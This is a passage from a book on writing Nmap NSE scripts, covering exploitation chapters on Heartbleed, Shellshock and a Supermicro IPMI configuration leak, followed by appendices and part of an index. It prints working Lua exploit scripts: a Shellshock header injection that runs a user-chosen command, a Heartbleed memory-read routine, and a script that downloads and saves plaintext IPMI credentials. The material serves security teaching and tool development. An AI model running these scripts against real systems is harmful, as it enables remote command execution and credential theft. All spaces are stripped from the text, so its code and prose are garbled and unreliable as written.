Inthiscase,theNSElibrariesmakethevulnerabilitydetectionfunctionlookverysimple,butkeepinmindthatthelibraryisdoingtheheavyliftingregardingprotocolcommunication.However,thenexttimeyouencounteranewSMBvulnerability,youcanusethissamelibraryandstartworkingonthebitsspecifictoyourattackvector;youwon’tneedtospendanytimeworkingonprotocolcommunicationtasks.Evenifyouneedtocreateanewprotocollibrary,youhavethepowerofLuaandNSEatyourdisposal.
NoteTheofficialdocumentationofthemsrpcandsmblibrariescanbefoundathttp://nmap.org/nsedoc/lib/msrpc.htmlandhttp://nmap.org/nsedoc/lib/smb.html.
ExploitingtheinfamousheartbleedvulnerabilityTheheartbleedvulnerabilityaffectstheOpenSSLimplementationofSSLandTLSversions1.0.1through1.0.1f.Itisaverypopularcryptographiclibrary,anditcanbefoundinhundreds(possiblythousands)ofdifferentproducts,includingsoftwareandhardware.Itwasestimatedthatitaffectedaround14percentofthewebserversatthemomentofdisclosure—thatis,April1,2014.InJune2014,therewerestill309,197vulnerableserversrunningonport443.Thiswasoneofthemostinterestingvulnerabilitiesoftheyearbecauseitallowedattackerstostealcredentials,cookies,andprivatekeysbyreadingarbitrarymemorylocations.
TheHeartbeatextensionwasintroducedasafeaturetoimproveperformancebyreducingthenumberofrenegotiationsbetweenclients.Bycraftingaheartbeatwithasizelargerthanthedestinationstructure,attackerscanreadupto64KBofmemorydataperheartbeat.
Let’slookatthessl-heartbleedscriptsubmittedbyPatrikKarlssontolearnhowtodetectthisvulnerabilitywithNSE.Thisscriptusesthetlslibrary(http://nmap.org/nsedoc/lib/tls.html)tocreateTLS/SSLcommunicationmessagesandbuffers.Let’sfocusonthedetectionroutine:
1. Westartbycreatingtheclient_hellomessageusingtls.client_hello():
localhello=tls.client_hello({
["protocol"]=version,
—Claimtosupporteverycipher
—Doesn'tworkwithIIS,butIISisn'tvulnerable
["ciphers"]=keys(tls.CIPHERS),
["compressors"]={"NULL"},
["extensions"]={
—Claimtosupporteveryellipticcurve
["elliptic_curves"]=tls.EXTENSION_HELPERS["elliptic_curves"]
(keys(tls.ELLIPTIC_CURVES)),
—ClaimtosupporteveryECpointformat
["ec_point_formats"]=
tls.EXTENSION_HELPERS["ec_point_formats"](keys(tls.EC_POINT_FORMATS)),
["heartbeat"]="\x01",—peer_not_allowed_to_send
},
})
2. Nowlet’sdefineourheartbeatrequestwiththehelpoftls.record_write(type,protocol,body):
localpayload=stdnse.generate_random_string(19)
localhb=tls.record_write("heartbeat",version,bin.pack("C>SA",
1,—HeartbeatMessageTypeheartbeat_request
0x4000,—payloadlength(falsified)
—payloadlengthisbasedon4096-16bytespadding-8bytes
packet
—header+1tooverflow
payload—lessthanpayloadlength.
)
)
3. Thetlslibrarydoesnothandlesocketcommunicationatall;wewillneedtoimplementitourselves.Inthiscase,tosendourclient_hellomessage,wesetupthesocketwithnmap.new_socket()ortls.getPrepareTLSWithoutReconnect(port),dependingonwhethertheprotocolusestheSTART_TLSmechanism:
locals
localspecialized=sslcert.getPrepareTLSWithoutReconnect(port)
ifspecializedthen
localstatus
status,s=specialized(host,port)
ifnotstatusthen
stdnse.debug3("Connectiontoserverfailed")
return
end
else
s=nmap.new_socket()
localstatus=s:connect(host,port)
ifnotstatusthen
stdnse.debug3("Connectiontoserverfailed")
return
end
end
s:set_timeout(5000)
—SendClientHellotothetargetserver
localstatus,err=s:send(hello)
ifnotstatusthen
stdnse.debug1("Couldn'tsendClientHello:%s",err)
s:close()
returnnil
end
4. Thetls.record_read()functionisusedtoreadanSSL/TLSrecordandcheckfortheheartbeatextension:
--Readresponse
localdone=false
localsupported=false
locali=1
localresponse
repeat
status,response,err=tls.record_buffer(s,response,i)
iferr=="TIMEOUT"then
—Timedoutwhilewaitingforserver_hello_done
—Couldbeclientcertificaterequiredorothermessagerequired
—Let'sjustdropoutandtrysendingtheheartbeatanyway.
done=true
break
elseifnotstatusthen
stdnse.debug1("Couldn'treceive:%s",err)
s:close()
returnnil
end
localrecord
i,record=tls.record_read(response,i)
ifrecord==nilthen
stdnse.debug1("Unknownresponsefromserver")
s:close()
returnnil
elseifrecord.protocol~=versionthen
stdnse.debug1("Protocolversionmismatch")
s:close()
returnnil
end
ifrecord.type=="handshake"then
for_,bodyinipairs(record.body)do
ifbody.type=="server_hello"then
ifbody.extensionsandbody.extensions["heartbeat"]=="\x01"
then
supported=true
end
elseifbody.type=="server_hello_done"then
stdnse.debug1("we'redone!")
done=true
end
end
end
untildone
ifnotsupportedthen
stdnse.debug1("ServerdoesnotsupportTLSHeartbeatRequests.")
s:close()
returnnil
end
5. Thenwesendourheartbeatrequestthroughoursocket:
status,err=s:send(hb)
ifnotstatusthen
stdnse.debug1("Couldn'tsendheartbeatrequest:%s",err)
s:close()
returnnil
end
6. Finally,wereadtheresponsesanddeterminewhethertheserverisvulnerableornot:
while(true)do
localstatus,typ,ver,len=recvhdr(s)
ifnotstatusthen
stdnse.debug1('Noheartbeatresponsereceived,serverlikelynot
vulnerable')
break
end
iftyp==24then
localpay
status,pay=recvmsg(s,0x0fe9)
s:close()
if#pay>3then
returntrue
else
stdnse.debug1('Serverprocessedmalformedheartbeat,butdid
notreturnanyextradata.')
break
end
elseiftyp==21then
stdnse.debug1('Serverreturnederror,likelynotvulnerable')
break
end
end
Forcompleteness,therecvhdr(s)andrecvmsg(s,len)helperroutinesusedpreviouslyaredefinedasfollows:
localfunctionrecvhdr(s)
localstatus,hdr=s:receive_buf(match.numbytes(5),true)
ifnotstatusthen
stdnse.debug3('UnexpectedEOFreceivingrecordheader-serverclosed
connection')
return
end
localpos,typ,ver,ln=bin.unpack('>CSS',hdr)
returnstatus,typ,ver,ln
end
localfunctionrecvmsg(s,len)
localstatus,pay=s:receive_buf(match.numbytes(len),true)
ifnotstatusthen
stdnse.debug3('UnexpectedEOFreceivingrecordpayload-serverclosed
connection')
return
end
returntrue,pay
end
That’sallofthecodeweneedtocompleteourdetectionroutine.Therestofthescriptusesthevulnslibrarytocreateavulnerabilityreport.Wewilllearnmoreaboutthislibraryattheendofthischapter.
Thessl-heartbleedscriptisdistributed.Thecompletesourcecodeofthessl-heartbleedscriptcanbefoundathttps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse.
ExploitingshellshockinwebapplicationsGNU’slatestbashvulnerability,alsoknownasshellshock,allowsattackerstoexecutecommandsremotely.Itisaverydangerousvulnerabilitythatstillhasunknownattackvectors.IthasaffectedeverythingfromwebapplicationstohardwareappliancessuchasF5’sfirewalls.
Let’screateascripttoexploitthisvulnerabilityinwebapplications.ThemostpopularinjectionpointbeingusedistheUser-AgentHTTPheader,butitisexpectedtobedifferentinsomeapplications.Let’strytomakeitasflexibleaspossible.Ourscriptwillsimplyneedtomakeacalltohttp.get()tosendourattackpayload.WebeginbydeclaringtheNSElibrariesandourexecutionrule:
localhttp=require"http"
localshortport=require"shortport"
localstdnse=require"stdnse"
localvulns=require"vulns"
portrule=shortport.http
Ourdetectionroutinewillinsertanechocommandinsidethe'(){:;};stringpayloadtolookforthatpatternanddeterminewhetherahostisvulnerable.Wecancompletetheentiredetectionandexploitationroutineinfewerthan100linesofcode:
action=function(host,port)
localcmd=stdnse.get_script_args(SCRIPT_NAME..".cmd")ornil
localhttp_header=stdnse.get_script_args(SCRIPT_NAME..".header")or
"User-Agent"
localhttp_method=stdnse.get_script_args(SCRIPT_NAME..".method")or
'GET'
localuri=stdnse.get_script_args(SCRIPT_NAME..".uri")or'/'
localrnd=stdnse.generate_random_string(15)
localpayload='(){:;};echo;echo"'..rnd..'"'
ifcmd~=nilthen
cmd='(){:;};'..cmd
end
—PlantthepayloadintheHTTPheaders
localoptions={header={}}
options["no_cache"]=true
options["header"][http_header]=payload
stdnse.debug(1,string.format("Sending'%s'viaHTTPheader'%s'",
payload,http_header))
localreq=http.get(host,port,uri,options)
ifreq.status==200andstring.match(req.body,rnd)~=nilthen
stdnse.debug(1,string.format("Randompattern'%s'wasfoundinpage.
Hostseemsvulnerable.",rnd))
return"ThisHTTPapplicationisvulnerable!"
end
end
Thescriptworkswelltodetectthisvulnerability;withafewextralinesofcode,wecanexpandittocoverotherHTTPmethodsaswell.Atthispoint,Ihopeyouhavestartedworkingonyourownexploits,solet’slearnmoreabouthowtoreportvulnerabilitiescorrectlyinyourNSEscripts.
Thecompletesourcecodeofthehttp-shellshockscriptcanbefoundathttps://svn.nmap.org/nmap/scripts/.
ReportingvulnerabilitiesThevulnsNSElibraryprovidesasetofusefulfunctionsforvulnerabilitymanagement.Itspurposeistoofferdevelopersacommoninterfaceforstoringandreportingvulnerabilities.ThevulnerabilitiesarestoredintheNmapregistryandcanbeaccessedbyotherscriptsduringruntime.Thelibraryalsohelpskeeptrackofallstatesofthevulnerabilities.Thestatesarerepresentedbythefollowingstringconstantsdefinedinthelibrary:
vulns.STATE.NOT_VULN
vulns.STATE.LIKELY_VULN
vulns.STATE.VULN
vulns.STATE.DoS
vulns.STATE.EXPLOIT
VulnerabilityreportsarepassedtothelibraryasLuatables.Avulnerabilitytableneedstwomandatoryfields:titleandstate,butthereareseveralotheroptionalfields;someofthem,suchasIDS,willalsoautomaticallygenerateURLsifaCVE,BID,orOSVDBIDisassigned.Thesupportedfieldsare:
title
state
IDS(optional)risk_factor(optional)scores(optional)description(optional)dates(optional)check_results(optional)exploit_results(optional)extra_info(optional)references(optional)
Let’slookatavulnerabilitytabledefinedinthessl-heartbleedscript:
localvuln_table={
title="TheHeartbleedBugisaseriousvulnerabilityinthepopular
OpenSSLcryptographicsoftwarelibrary.Itallowsforstealinginformation
intendedtobeprotectedbySSL/TLSencryption.",
state=vulns.STATE.NOT_VULN,
risk_factor="High",
description=[[
OpenSSLversions1.0.1and1.0.2-betareleases(including1.0.1fand1.0.2-
beta1)ofOpenSSLareaffectedbytheHeartbleedbug.Thebugallowsfor
readingmemoryofsystemsprotectedbythevulnerableOpenSSLversionsand
couldallowfordisclosureofotherwiseencryptedconfidentialinformation
aswellastheencryptionkeysthemselves.
]],
references={
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160',
'http://www.openssl.org/news/secadv_20140407.txt',
'http://cvedetails.com/cve/2014-0160/'
}
}
OncewehavecreatedourLuatablecontainingthevulnerabilitydescription,wemustcreateaninstanceoftheVulns.Reportclass.ScriptsmustalsocalltheVulns.Report:make_output()function.Thisfunctiontakesthegivenvulnerabilitytablesandstorestheminthedatabase.Thenitformatstheoutputtogeneratethereporttobeshowntotheuser:
localvuln_table={...}
localreport=vulns.Report:new(SCRIPT_NAME,host,port)
...//Herewewoulddoourchecksandthenmarkthestateofthe
vulnerabilityaccordingly.
returnreport:make_output(vuln_table)
Moreover,youcanaddvulnerabilitiesusingtheVulns.Report:add()functionandbysimplycallingVulns.Report:make_output()withnoparameters:
Localvuln_table={...}
localreport=vulns.Report:new(SCRIPT_NAME,host,port)
...//Again,wemarkthestateofthevulnerabilityaccordingly.
report:add(vuln_table)
returnreport:make_output()
Boththecodesnippetsshownpreviouslywillachievethesameresult.Itisamatterofpersonalchoicehowyouusethesefunctions.Thevulnerabilitydatabasecanalsobeaccessedthroughpreruleandpostrulescripts,anditallowsdeveloperstofilterscriptsdependingonthecriteriaspecifiedinacallbackfunctionthatispassedtovulns.save_reports().Thevulns.save_reports()functioninitializesthedatabaseandtakesasanoptionalparameteracallbackfunctionthatmustreturnaBooleanvaluethatindicateswhetherthevulnerabilitiesshouldbestoredintheregistryornot.
UsingthevulnslibraryinyourNSEscriptsLet’screateascriptthatexploitsasimplevulnerabilitytohighlightthemostimportantaspectsofthislibrary.ThevulnerabilitywearegoingtoexploitaffectsSupermicroIPMI/BMCcontrollers;itallowsattackerstodownloaditsconfigurationfilebysimplyrequestingapage.Asusual,let’sfillintherequiredscriptfields:
description=[[
Attemptstodownloadanunprotectedconfigurationfilecontainingplain-
textusercredentialsinvulnerableSupermicroOnboardIPMIcontrollers.
Thescriptconnectstoport49152andissuesarequestfor"/PSBlock"to
downloadthefile.Thisconfigurationfilecontains
userswiththeirpasswordsinplaintext.
References:
*http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-
added-extras/
*https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-
penetration-testers-guide-to-ipmi
]]
author="PaulinoCalderon<calderon()websecmx>"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"exploit","vuln"}
Nowlet’simporttherequiredNSElibrariesanddefineourportrule.TheservicerunsonTCPport49152,solet’srunthescriptwhenthisportisopen.Atthistime,servicedetectiondoesnothaveasignatureforthisservice,sowecan’tlinktheexecutionofthescriptwiththeservicename:
localhttp=require"http"
localnmap=require"nmap"
localshortport=require"shortport"
localstring=require"string"
localvulns=require"vulns"
localstdnse=require"stdnse"
portrule=shortport.portnumber(49152,"tcp")
Theconfigurationfileobtainedwiththisvulnerabilityistoolargeandhastoomuchgarbagetobedisplayedtotheusers.Forthisreason,wewillneedtostoretheconfigurationfileonthedisk:
---
--Writesstringtofile
localfunctionwrite_file(filename,contents)
localf,err=io.open(filename,"w")
ifnotfthen
returnf,err
end
f:write(contents)
f:close()
returntrue
end
Nowthemaincodeblockwilldefinethevulnerabilitytableandmarkthestateasvulns.STATE.NOT_VULN.Thenthescriptwillrequestthe/PSBlockpageandchecktheresponse.Ifitlooksliketheconfiguration,thescriptwillsavethefileatthedesiredlocationonthediskandupdatethestatetovulns.STATE.EXPLOIT.Attheend,wewillsimplyreturntheresultofthevulns.Report:make_output()call:
action=function(host,port)
localfw=stdnse.get_script_args(SCRIPT_NAME..".out")or
host.ip.."_bmc.conf"
localvuln={
title='SupermicroIPMI/BMCconfigurationfiledisclosure',
state=vulns.STATE.NOT_VULN,
description=[[
SomeSupermicroIPMI/BMCcontrollersallowattackerstodownload
aconfigurationfilecontainingplaintextusercredentials.This
credentialsmaybeusedtologintotheadministrativeinterfaceandthe
network'sActiveDirectory.]],
references={
'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-
and-some-added-extras/',
},
dates={
disclosure={year='2014',month='06',day='19'},
},
}
localvuln_report=vulns.Report:new(SCRIPT_NAME,host,port)
localopen_session=http.get(host.ip,port,"/PSBlock")
ifopen_sessionandopen_session.status==200and
string.len(open_session.body)>200then
s=open_session.body:gsub("%z",".")
vuln.state=vulns.STATE.EXPLOIT
vuln.extra_info="Snippetfromconfigurationfile:\n"..string.sub(s,
25,200)
localstatus,err=write_file(fw,s)
ifstatusthen
extra_info=string.format("\nConfigurationfilesavedto'%s'\n",
fw)
else
stdnse.debug(1,"Errorsavingconfigurationfileto'%s':%s\n",fw,
err)
end
vuln.extra_info="Snippetfromconfigurationfile:\n"..string.sub(s,
25,200)..extra_info
end
returnvuln_report:make_output(vuln)
end
Now,ifwerunthescriptagainstavulnerableIPMI/BMCcontroller,weshouldseeareportsimilartothis:
PORTSTATESERVICEREASON
49152/tcpopenunknownsyn-ack
|supermicro-ipmi-conf:
|VULNERABLE:
|SupermicroIPMI/BMCconfigurationfiledisclosure
|State:VULNERABLE(Exploitable)
|Description:
|SomeSupermicroIPMI/BMCcontrollersallowattackerstodownload
|aconfigurationfilecontainingplaintextusercredentials.This
credentialsmaybeusedtologintotheadministrativeinterfaceandthe
|network'sActiveDirectory.
|Disclosuredate:2014-06-19
|Extrainformation:
|Snippetfromconfigurationfile:
|
.............31spring…..........\x14…...........\x01\x01\x01.\x01…...\x01AD
MIN…........ThIsIsApAsSwOrD…..........T.T….........\x01\x01\x01.\x01…...\x0
1ipmi….........w00t!.............\x14…..........
|Configurationfilesavedto'xxx.xxx.xxx.xxx_bmc.conf'
|
|References:
|_http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-
some-added-extras/
NoteTheofficialdocumentationofthevulnslibrarycanbefoundathttp://nmap.org/nsedoc/lib/vulns.html.
SummaryInthischapter,IhighlightedthebenefitsofcreatingexploitsusingNSE.Thelibrariesavailableforhandlingdifferentnetworkprotocolsandotheraspectsofexploitdevelopmentcansaveusvaluabletimewhenexploitingnetworkvulnerabilities.Ifyouareworkingwithmoreobscureprotocols,thesimplicityofLuawillallowyoutocreateyourownNSElibrarywithoutmuchoverhead.
YoulearnedtoexploitsomeofthelatestandmostdangerousvulnerabilitiessuchasBash’sshellshock,SSL’sheartbleed,anda2014PwnieAward-winningIPMI/BMCconfigurationdisclosurevulnerability—inmostcaseswithfewerthan100linesofcode.Finally,wecoveredthevulnsNSElibrary,whichisdesignedtohelpdeveloperscreateorganizedvulnerabilityreportsthatautomaticallygetgeneratedinnormalandXMLoutputmodes.
TheonlythinglefttodonowistogocreateyourveryownNSEexploit.Ifyoueverhitawall,don’tforgettoreachouttomeortheNmapdevelopmentmailinglist.Allcollaboratorswillbeverymuchdisposedtohelpyou,andallyourcontributionsarewelcomeandgreatlyappreciated.AlthoughNmapwasnotoriginallydesignedtobeanexploitationframework,wearehappytokeepimprovingalltheexploitationcategories.
AppendixA.ScanPhasesScansperformedwithNmaparedividedintophases,andsomeofthemmaybeskippedusingdifferentNmapoptions.ThescanphasesofNmapare:
Scriptpre-scanning:Thepre-scanningphaseisexecutedonlywhenyouusethe-sCor--scriptoptions;itattemptstoretrieveadditionalhostinformationviaacollectionofNSEscripts.Targetenumeration:Inthisphase,Nmapparsesthetarget(ortargets)andresolvesthemintoIPaddresses.Hostdiscovery:ThisisthephasewhereNmapdetermineswhetherthetarget(ortargets)isonlineandinthenetworkbyperformingthespecifiedhostdiscoverytechnique(ortechniques).The-Pnoptioncanbeusedtoskipthisphase.ReverseDNSresolution:Inthisphase,NmapperformsareverseDNSlookuptoobtainahostnameforeachtarget.The-RargumentcanbeusedtoforceDNSresolution,and-ncanbeusedtoskipit.Portscanning:Duringthisphase,Nmapdeterminesthestateoftheports.Itcanbeskippedusingthe-snargument.Versiondetection:Thisphaseisinchargeofadvancedversiondetectionfortheportsfoundopen.Itisexecutedonlywhenthe-sVargumentisset.OSdetection:Inthisphase,Nmapattemptstodeterminetheoperatingsystemofthetarget.Itisexecutedonlywhenthe-Ooptionispresent.Traceroute:Inthisphase,Nmapperformsatraceroutetothetargets.Thisphaserunsonlywhenthe--tracerouteoptionisset.Scriptscanning:Inthisphase,NSEscriptsrundependingontheirexecutionrules.Output:Inthisphase,Nmapformatsallofthegatheredinformationandreturnsittotheuserinthespecifiedformat.Scriptpost-scanning:Inthisphase,NSEscriptswithpost-scanexecutionrulesareevaluatedandgivenachancetorun.Iftherearenopost-scanNSEscriptsinthedefaultcategory,thisphasewillbeskipped,unlessspecifiedwiththe--scriptargument.
AppendixB.NSEScriptTemplateThisappendixincludesanNSEscripttemplatethatcontainstherequiredscriptfieldsscriptsandthedefaultlicensingvalues:
description=[[
]]
---—@usage——@output—--@args—---
author=""
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={}
--portrule=
action=function(host,port)
end
ThistemplateisavailableonlineinmyGitHubrepository,athttps://github.com/cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse.
OthertemplatesonlineTheNmapdistributionalsoincludesaprettycompletetemplatemadebyRonBowes.Itcanbedownloadedfromapreviousworkingcopyofthedevelopmentrepository,athttps://svn.nmap.org/nmap/docs/sample-script.nse?p=30373.
AppendixC.ScriptCategoriesThecollectionofNSEscriptsisdividedintothefollowingcategories:
auth:Thesearescriptsrelatedtouserauthentication.broadcast:Thisisaveryinterestingcategoryofscriptsthatusesbroadcastpetitionstogatherinformation.brute:Thiscategoryofscriptshelpsconductbrute-forcepasswordauditing.default:Thesearethescriptsthatareexecutedwhenascriptscanisexecuted(-sC).discovery:Thesearescriptsrelatedtohostandservicediscovery.dos:Thesescriptsarerelatedtodenial-of-serviceattacks.exploit:Thesearescriptsthatexploitsecurityvulnerabilities.external:Thiscategoryisforscriptsdependingonathird-partyservice.fuzzer:TheseareNSEscriptsfocusedonfuzzing.intrusive:Thisisacategoryforscriptsthatmightcrashsomethingorgeneratealotofnetworknoise.Scriptsthatsystemadministratorsmayconsiderintrusivegohere.malware:Thisisacategoryforscriptsrelatedtomalwaredetection.safe:Thesearescriptsthatareconsideredsafeinallsituations.version:Thesearescriptsusedinadvancedversioning.vuln:Thesearescriptsrelatedtosecurityvulnerabilities.
AppendixD.NmapOptionsMindMapThisisamindmapoftheoutputreturnedbyNmapwhenitisrunwithnoarguments.Itincludesthemostcommonoptionsdividedintocategoriesandistobeusedforsimplereference.
AppendixE.ReferencesThisappendixreflectstheincredibleamountofworkthatpeoplehaveputintoNmap.IrecommendcomplementingthisreadingwithNmapNetworkScanning,byGordon“Fyodor”Lyon,NmapProject,andtheofficialdocumentationonline,asfollows:
http://nmap.org/book/http://nmap.org/nsedoc/http://www.lua.org/about.htmlhttp://www.nmap-cookbook.comhttp://en.wikipedia.org/wiki/Lua_(programming_language)http://stackoverflow.com/questions/8092382/learning-lua-fasthttp://lua-users.org/wiki/ControlStructureTutorialhttp://www.lua.org/pil/24.3.2.htmlhttp://www.lua.org/manual/5.2/manual.htmlhttp://www.lua.org/manual/2.4/node22.htmlhttp://www.lua.org/pil/20.2.htmlhttp://www.lua.org/pil/13.1.htmlhttps://svn.nmap.org/nmap/scripts/http-majordomo2-dir-traversal.nsehttp://lua-users.org/wiki/MetamethodsTutorialhttp://lua-users.org/wiki/PatternsTutorialhttp://nmap.org/book/man-performance.htmlhttp://nmap.org/nsedoc/lib/stdnse.htmlhttp://nmap.org/book/nse-parallelism.htmlhttp://nmap.org/nsedoc/scripts/http-slowloris.htmlhttp://nmap.org/nsedoc/scripts/http-slowloris-check.htmlhttp://nmap.org/nsedoc/scripts/ssl-poodle.htmlhttps://github.com/s4n7h0/Halcyon/http://blog.bonsaiviking.com/2012/08/xml-output-for-nmaps-nse-scripts.htmlhttp://www.cqure.net/
IndexA
Accountclassused,forreturningvalidaccounts/ReturningvalidaccountsviaAccountobjects
advancedhostdiscovery,NSEscriptsabout/Advancedhostdiscoveryhosts,discoveringwithbroadcastpings/DiscoveringhostswithbroadcastpingslisteningtoLAN,fortargetdiscovery/ListeningtoyourLANtodiscovertargets
applications,NSEscriptsinformationgathering/Information-gatheringadvancedhostdiscovery/Advancedhostdiscoverypasswordauditing/Passwordauditingvulnerabilityscanning/Vulnerabilityscanning
APSB13-13URL/Implementingstructuredoutputinyourscripts
arithmeticmetamethodsabout/Arithmeticmetamethods__add/Arithmeticmetamethods__mul/Arithmeticmetamethods__sub/Arithmeticmetamethods__div/Arithmeticmetamethods__unm/Arithmeticmetamethods__pow/Arithmeticmetamethods__concat/Arithmeticmetamethods
arraysabout/Arrays
BBerkeleySoftwareDistribution(BSD)
about/Licensebin.unpack()method/Packingandunpackingbinarydatabinarydata
packing/Packingandunpackingbinarydataunpacking/Packingandunpackingbinarydata
binlibraryURL/Packingandunpackingbinarydata
Booleans,Lua/Booleansbroadcast-igmp-discoveryscript
URL,forofficialdocumentation/mygroupnames.dbbroadcast-pingscript/Discoveringhostswithbroadcastpingsbrute-forcepasswordauditingattacks
scripting,againstMikroTikRouterOSAPI/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI
bruteforceattacksusernameandpasswordlists/Usernameandpasswordlistsusedinbrute-forceattacks
bruteNSElibraryURL/WorkingwiththebruteNSElibraryabout/WorkingwiththebruteNSElibraryAccountclass/WorkingwiththebruteNSElibraryEngineclass/WorkingwiththebruteNSElibraryOptionsclass/WorkingwiththebruteNSElibraryErrorclass/WorkingwiththebruteNSElibraryworkingwith/Selectingabrutemodemodes/Selectingabrutemodemodes,selecting/SelectingabrutemodeDriverclass,implementing/ImplementingtheDriverclassoptions/Passinglibraryanduseroptionsvalidaccounts,returningviaAccountclass/ReturningvalidaccountsviaAccountobjectsexecutionerrors,handlingwithErrorclass/HandlingexecutionerrorsgracefullywiththeErrorclass
bruteNSElibrary,optionsmode/PassinglibraryanduseroptionsfirstOnly/Passinglibraryanduseroptionspassonly/Passinglibraryanduseroptionsmax_retries/Passinglibraryanduseroptionsdelay/Passinglibraryanduseroptionsmax_guesses/Passinglibraryanduseroptionsuseraspass/Passinglibraryanduseroptions
emptypass/Passinglibraryanduseroptionstitle/Passinglibraryanduseroptionsnostore/Passinglibraryanduseroptions
Ccaptures
about/Capturescatchfunction
about/ExceptionhandlinginNSEscriptscategories,NSEscripts
safe/RunningNSEscripts,Scriptcategoriesauth/Scriptcategoriesbroadcast/Scriptcategoriesbrute/Scriptcategoriesdefault/Scriptcategoriesdiscovery/Scriptcategoriesdos/Scriptcategoriesexploit/Scriptcategoriesexternal/Scriptcategoriesfuzzer/Scriptcategoriesintrusive/Scriptcategoriesmalware/Scriptcategoriesversion/Scriptcategoriesvuln/Scriptcategories
characterclassesabout/Characterclasses
cldrn/nmap-nse-scripts,GitHubURL/Settingupadevelopmentenvironment
coercion,Lua/Coercioncomments,Lua/Commentscommondatastructures,Lua
about/Commondatastructurestables/Tablesarrays/Arrayslinkedlists/Linkedlistssets/Setsqueues/Queues
concatenationabout/Concatenation
conditionalstatements,Luaif-then/Conditionalstatements–if-then,else,andelseifelse-if/Conditionalstatements–if-then,else,andelseifelse/Conditionalstatements–if-then,else,andelseif
conditionvariablesabout/Conditionvariables
coroutine,Luaabout/Coroutines
creating/Creatingacoroutineexecuting/Executingacoroutinestatus,obtainingof/Gettingthestatusofacoroutineyielding/Yieldingacoroutine
coroutine.createfunction/Creatingacoroutinecoroutine.resumefunction/Executingacoroutinecoroutine.runningfunction/Determiningtherunningcoroutinecoroutine.status()function/Workingwithcoroutinescoroutine.statusfunction/Gettingthestatusofacoroutinecoroutine.yieldfunction/Yieldingacoroutinecoroutines
about/Coroutinesstates/Coroutinescoroutine.create(f)function/Coroutinescoroutine.resume(co[,val1,···])function/Coroutinescoroutine.running()function/Coroutinescoroutine.status(co)function/Coroutinescoroutine.wrap(f)function/Coroutinescoroutine.yield(···)function/Coroutinesworkingwith/WorkingwithcoroutinesURL/Workingwithcoroutines
credsNSElibraryabout/credsURL/creds,Managingusercredentialsfoundduringscansused,formanagingusercredentials/Managingusercredentialsfoundduringscans
customdatastructures,Luaabout/Customdatastructureshttp-enumdatabase/http-enumdatabasehttp-default-accounts/http-default-accounts
Ddata
sending,NSEsocketsused/SendingdatausingNSEsocketsreceiving,NSEsocketsused/ReceivingdatausingNSEsockets
datadirectorylocating/Locatingyourdatadirectory
datadirectorysearchorderabout/Datadirectorysearchorder
datatypes,Luanumber/Datatypesstring/Datatypesboolean/Datatypestable/Datatypesfunction/Datatypesnil/Datatypesuserdata/Datatypesthread/Datatypes
DBMSauditingdatafilesabout/DBMS-auditingdatafilesmysql-cis.audit/mysql-cis.auditoracle-default-accounts.lst/oracle-default-accounts.lstoracle-sids/oracle-sids
debugginginformationincluding,inNSEscriptoutput/Includingdebugginginformation
developmentenvironmentsettingup/Settingupadevelopmentenvironment
Driverclassimplementing/ImplementingtheDriverclasslogin()function/ImplementingtheDriverclassconnect()function/ImplementingtheDriverclassdisconnect()function/ImplementingtheDriverclasscheck()function/ImplementingtheDriverclass
dummyassignments,Lua/Dummyassignments
Eelse-ifconditionalstatement
about/Conditionalstatements–if-then,else,andelseifelseifkeyword
about/Conditionalstatements–if-then,else,andelseifelsestatement
about/Conditionalstatements–if-then,else,andelseifentry,Luatable
namefield/http-devframework-fingerprints.luarapidDetectfield/http-devframework-fingerprints.luaconsumingDetectfield/http-devframework-fingerprints.lua
environmentvariablesabout/ExploringenvironmentvariablesSCRIPT_PATH/ExploringenvironmentvariablesSCRIPT_NAME/ExploringenvironmentvariablesSCRIPT_TYPE/Exploringenvironmentvariables
Errorclassused,forhandlingexecutionerrors/HandlingexecutionerrorsgracefullywiththeErrorclass
Ethernetframesbuilding/BuildingEthernetframes
ethernet_send()method/Sendingpacketsto/fromIPandEthernetlayersexceptionhandling
about/ExceptionhandlinginNSEscriptsURL/ExceptionhandlinginNSEscripts
exploitNSEcategoryabout/TheexploitNSEcategoryhttp-csrf/TheexploitNSEcategoryhttp-stored-xss/TheexploitNSEcategoryhttp-adobe-coldfusion-apsa1301/TheexploitNSEcategoryhttp-iis-short-name-brute/TheexploitNSEcategoryjdwp-exec/TheexploitNSEcategorysmb-check-vulns/TheexploitNSEcategoryURL/TheexploitNSEcategory
expressionsadvancedscriptselection,performingwith/Advancedscriptselectionwithexpressions
FFIFOqueue
about/Queuesfile
NSEscriptarguments,loadingfrom/Loadingscriptargumentsfromafileopening/Openingafilereading/Readingafilewriting/Writingafileclosing/Closingafile
filemodes,Luaw/Modesw+/Modesa+/Modes
flowcontrolstructures,Luaabout/Flowcontrolstructuresconditionalstatements/Conditionalstatements–if-then,else,andelseifwhileloop/Loops–whilerepeatloop/Loops–repeatforloops/Loops–for
forloops/Loops–forfuzzdbproject
URL/http-sql-errors.lst
Ggrepableoutputformat
about/Theweaknessofthegrepableformatlimitations/TheweaknessofthegrepableformatURL/Theweaknessofthegrepableformat
HHalcyonIDE
about/HalcyonIDEURL/HalcyonIDE
hardmatch/Phasesofversiondetectionheartbleedvulnerability
exploiting/Exploitingtheinfamousheartbleedvulnerabilityhost
connectingto,NSEsocketsused/ConnectingtoahostusingNSEsocketshostmap-*setofscripts/FindingallhostnamesresolvingtothesameIPaddresshosttable,NSEarguments
about/Hosttablehost.osfield/Hosttablehost.ipfield/Hosttablehost.namefield/Hosttablehost.targetnamefield/Hosttablehost.directly_connectedfield/Hosttablehost.mac_addrfield/Hosttablehost.mac_addr_next_hopfield/Hosttablehost.mac_addr_srcfield/Hosttablehost.interface_mtufield/Hosttablehost.bin_ipfield/Hosttablehost.bin_ip_srcfield/Hosttablehost.timesfield/Hosttablehost.traceroutefield/Hosttable
HTMLreportgenerating,forNSEscriptoutput/NSEscriptoutputintheHTMLreport
http-default-accounts/http-default-accountshttp-devframework-fingerprints.luafile
about/http-devframework-fingerprints.luahttp-devframeworkscript
